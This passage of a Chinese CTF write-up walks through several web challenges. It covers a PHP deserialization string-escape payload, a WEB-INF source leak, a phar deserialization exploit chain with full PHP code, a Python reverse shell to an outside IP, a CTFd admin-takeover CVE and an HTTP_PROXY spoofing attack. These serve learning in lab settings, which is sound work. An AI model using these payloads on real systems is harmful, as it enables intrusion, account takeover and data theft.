$table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
config.php
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
先注册个账号,登陆进入update.php页面
查看代码逻辑,找到profile.php关键代码,可以实现读取文件的功能,并且在flag在config.php中。
具体思路:我们如果可以控制$profile['phone']的值,序列化一个array,然后反序列化得到config.php的字符串,让其读取到config.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
分析:通过update.php更新信息,然后通过update_profile更新新的序列化后的array类型profile数据,并且设置了过滤的函数来过滤非法字符。
更新信息后,访问profile.php,会把序列化后的new profile从数据库取出然后又经过一遍过滤函数再反序列后展现
filter过滤函数,将'和\替换为_,并且将select,insert,update,delete,where替换为hacker
这里存在问题的就是因为先直接序列化了数据,然后再过滤了,导致序列化字符串替换可能出现字数问题。
payload:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
数组绕过正则即相关
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
这里可以直接通过数组绕过preg_match
解释下payload:
上面也说了,是因为先序列化后再过滤。因此如果有非法字符串,会被替换成hacker,导致字符串数量变化。
test.php实验如下
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile['phone'] = $_GET['phone']; $profile['email'] = $_GET['email']; $profile['nickname'] = $_GET['nickname']; $profile['photo'] = 'upload/' . md5('config.php'); $c=serialize($profile); echo filter($c);
因为这里是先序列化,后替换,我们输入where,会被替换为hacker
可以看到s:5是where的字符个数而hacker是六个字符,这里替换后,序列化会出错,因为反序列化的字符数和字符不对称,真实字符串长度是变长了,所以会爆出错误。
比如aaaccc经过替换后变成bbbbbccc,原来序列化5个字符,现在仍然限制为5个字符,而bbbbbccc为8个字符,多出来的三个字符就会被挤出去。
每次where替换hacker都会多出一个字符长度,我们需要挤出photo的序列化并且闭合内部array的{符号,所以payload为31个where加上";}s:5: "photo";s:10: "config.php
test.php
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile['phone'] = $_GET['phone']; $profile['email'] = $_GET['email']; $profile['nickname'] = $_GET['nickname']; $profile['photo'] = 'upload/' . md5('config.php'); $a=serialize($profile); echo $b=filter($a); var_dump(unserialize($b));
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:14:"yunying@qq.com";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}
可以看到反序列化时因为{ }内部外部都已闭合,所以后面的s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}在反序列化时侯会被忽略。反序列化时侯会把下面的完整部分反序列化。
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:14:"yunying@qq.com";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
base64解码拿到flag
如果还不理解可以看下面的文章,讲的很详细
https://www.cnblogs.com/chrysanthemum/p/11785004.html
http://www.vuln.cn/6004
一开始搞反了序列化和过滤替换的顺序,纠结了很久。后面注意到是先序列化话再过滤替换然后产生字符长度问题。
[Roarctf]Easy Java
我记得这题是考察关于java的源码泄露和项目路径的知识
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
用post方式下载到WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Index</welcome-file> </welcome-file-list> <servlet> <servlet-name>IndexController</servlet-name> <servlet-class>com.wm.ctf.IndexController</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexController</servlet-name> <url-pattern>/Index</url-pattern> </servlet-mapping> <servlet> <servlet-name>LoginController</servlet-name> <servlet-class>com.wm.ctf.LoginController</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginController</servlet-name> <url-pattern>/Login</url-pattern> </servlet-mapping> <servlet> <servlet-name>DownloadController</servlet-name> <servlet-class>com.wm.ctf.DownloadController</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadController</servlet-name> <url-pattern>/Download</url-pattern> </servlet-mapping> <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping> </web-app>
看到一个FlagController,flag控制器?下面有路径com.wm.ctf.FlagController
winhex打开
[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册登陆进入->网盘管理
burp抓包检测功能点
上传没什么好看的,没找到upload目录,上传图片试试
下载功能点抓包发现可以任意下载
修改为/etc/passwd目录穿越
从/var/www/html目录中把index.php,download.php和delete.php下载下来
index.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <link href="static/css/panel.css" rel="stylesheet"> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> <script src="static/js/panel.js"></script> </head> <body> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item active">管理面板</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li> <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
download.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
delete.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
login.php
<?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <!doctype html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <title>登录</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style> .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet"> </head> <body class="text-center"> <form class="form-signin" action="login.php" method="POST"> <h1 class="h3 mb-3 font-weight-normal">登录</h1> <label for="username" class="sr-only">Username</label> <input type="text" name="username" class="form-control" placeholder="Username" required autofocus> <label for="password" class="sr-only">Password</label> <input type="password" name="password" class="form-control" placeholder="Password" required> <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button> <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p> <p class="text-muted">© 2018-2019</p> </form> <div class="top" id="toast-container"></div> </body> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> </html> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注册成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('账号或密码错误', 'warning');</script>"; } ?>
class.php
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
upload.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } include "class.php"; if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $pos = strrpos($filename, "."); if ($pos !== false) { $filename = substr($filename, 0, $pos); } $fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; case 'image/png': $fileext = ".png"; break; default: $response = array("success" => false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); } if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
从注册登陆开始分析看,找到了uploads目录
然后到index.php,没有什么好分析的,主要涉及到class.php中的Filelist类,可以看到里面有常见反序列化的触发条件,__destruct和_call
class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
然后是upload.php,这里对类型做了过滤,比如aaa.jpg ,先获取aaa,然后根据Content-Type: image/jpeg 再添加文件后缀.jpg
在分析download.php,其中限制了open_basedir,难怪读不到/proc和/flag,这里调用了File类
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
调用file类中的close方法用file_get_contents读取文件,这里没有过滤/../../所以有跨目录任意下载
delete.php中调用了File类的detele方法
最后分析全是类定义的class.php
在user类中也看到了_destruct,并且调用的很CTF。(这调用的太CTF了)
利用思路:
class.php 充满了反序列化的味道,一开始还感觉是Filelist构造反序列化链条,知道看到了User类调用的浓烈的CTF味儿,并且这里有上传点,如果没有unserialize的话,我只能想到phar反序列化了,从bytectf接触到的。并且这里链的构造十分的简单。通过User类调用
这是一开始的脑子抽了直接写的错误无回显exp
exp:
<?php class User { public $db; } class File{ public $filename='/flag'; } $a=new User(); $a->db=new File(); $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $phar -> setMetadata($a); $phar -> stopBuffering(); ?>
delete.php打了半天没有反应啊,然后去找了WP->https://blog.csdn.net/weixin_44077544/article/details/102844554
艹。。我傻了。这是没有回显的打法,需要利用Filelist类才能打出
回显,果然给的还是有用的。
exp:
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("exp.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
调用顺序就是先通过User类的析构方法->Filelist类的call方法->File类的close方法->Filelist的析构方法->打印出数据
然后通过upload.php上传phar,在detele.php中用phar://执行反序列化
运用osword师傅的图来说明
明天再详细的解释一遍。
在delete.php页面打出flag
还用download.php尝试反序列化发现不行,无法回显出内容,回显一个test,用detele.php可以打出。其实之前我们分析download的时候,已经分析到了。为什么download.php读不到呢。究其原因在于open_basedir。之前忘记了,还多次用download.php去打。蠢了QAQ
[V&N2020 公开赛]CheckIN
一个寒假是不是被我浪费了,buu竟然没去刷题。哎。心累,一个寒假发生了好多事情。感情这玩意是真难。
VN公开赛的时候没去做,今天有时间来做一下。
进入界面即源码
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
我去临时有事。先溜了。
来了来了。
从源码可以看到,一旦访问/shell路由,就会删除flag,但是会调用系统命令执行获得的C参数值。可是这里os.system是不回显的啊。需要反弹个shell。但是这里弹不了外网,我们需要再建一个靶机。
用小号起一个靶机
这里我们通过python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.0.226.182',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
这里好像用python不行,用python3可以反弹到
既然flag被删除了,找回来就好了
https://blog.csdn.net/kehana/article/details/90766046
https://blog.csdn.net/junweicn/article/details/102794631
那我就手动一个一个翻
找到PID为10的时候
找到了flag
卧槽。忘记开隐私窗口了。cookie同步了。直接变成了我的小号。还好大号的环境没有自动关掉还在。
事后看WP,看到有用*通配符,十分的快捷。
cat /proc/*/fd/*
[V&N2020 公开赛]HappyCTFd
这里考点是CTFd的最新的一个CVE。
users有admin,说明让我们利用这个CVE达到重置admin密码,并且登陆的目的。
我们在admin前面留个空,然后注册
可以看到变成了两个admin,然后这里我们重置密码
通过邮箱的链接找回密码,这里因为buu的是内网,无法访问外网,所以需要去内网邮箱注册一个
http://mail.buuoj.cn/admin/ui/login?next=ui.index
然后将我们自己的名字admin修改为别的,然后用重置的密码登陆admin
在admin panel找到
获得flag
[V&N2020 公开赛]TimeTravel[复现]
进入即源码
Guzzle是一个PHP的HTTP客户端,用来轻而易举地发送请求,并集成到我们的WEB服务上。
这题看了一些WP,发现是很有意思的东西。
httpproxy漏洞说明
那么问题来了, 在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv("HTTP_PROXY")就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了
利用条件
- 代码以cgi模式运行,其中使用环境变量
HTTP_PROXY
- 信任 HTTP 客户端
HTTP_PROXY
并将其配置为代理 - 在请求处理程序中使用的该客户端发出HTTP(与HTTPS相对)请求
受影响范围
解法:
所以这里简单的利用就是,我们通过在请求flag参数的header中增加Proxy头,将其配置到我们监听的地方,并通过nc <file 返回我们伪造的json response,success:true
这里我们创小号起一个Linux labs
创建一个伪造的response b.txt
HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 06 Mar 2020 18:27:31 GMT Content-Type: text/html; charset=UTF-8 Connection: Keep-alive Content-Length: 16 {"success":true}
然后nc监听
请求flag参数并且增加Proxy头
这里我复现失败了,请求过去后一直504
这里用cjm00n师傅的php返回的方法https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/
<?php $arr = array("success"=>true); header("Content-Type:application/json"); echo json_encode($arr);
启动PHP内置服务器
php -S 0:2333
第四题的EasySpringMVC是JAVA,不会JAVA。
这里再看一下nc的命令,会直接返回数据
此题参考链接:
https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/
https://www.cnblogs.com/JeffKing11/p/12430571.html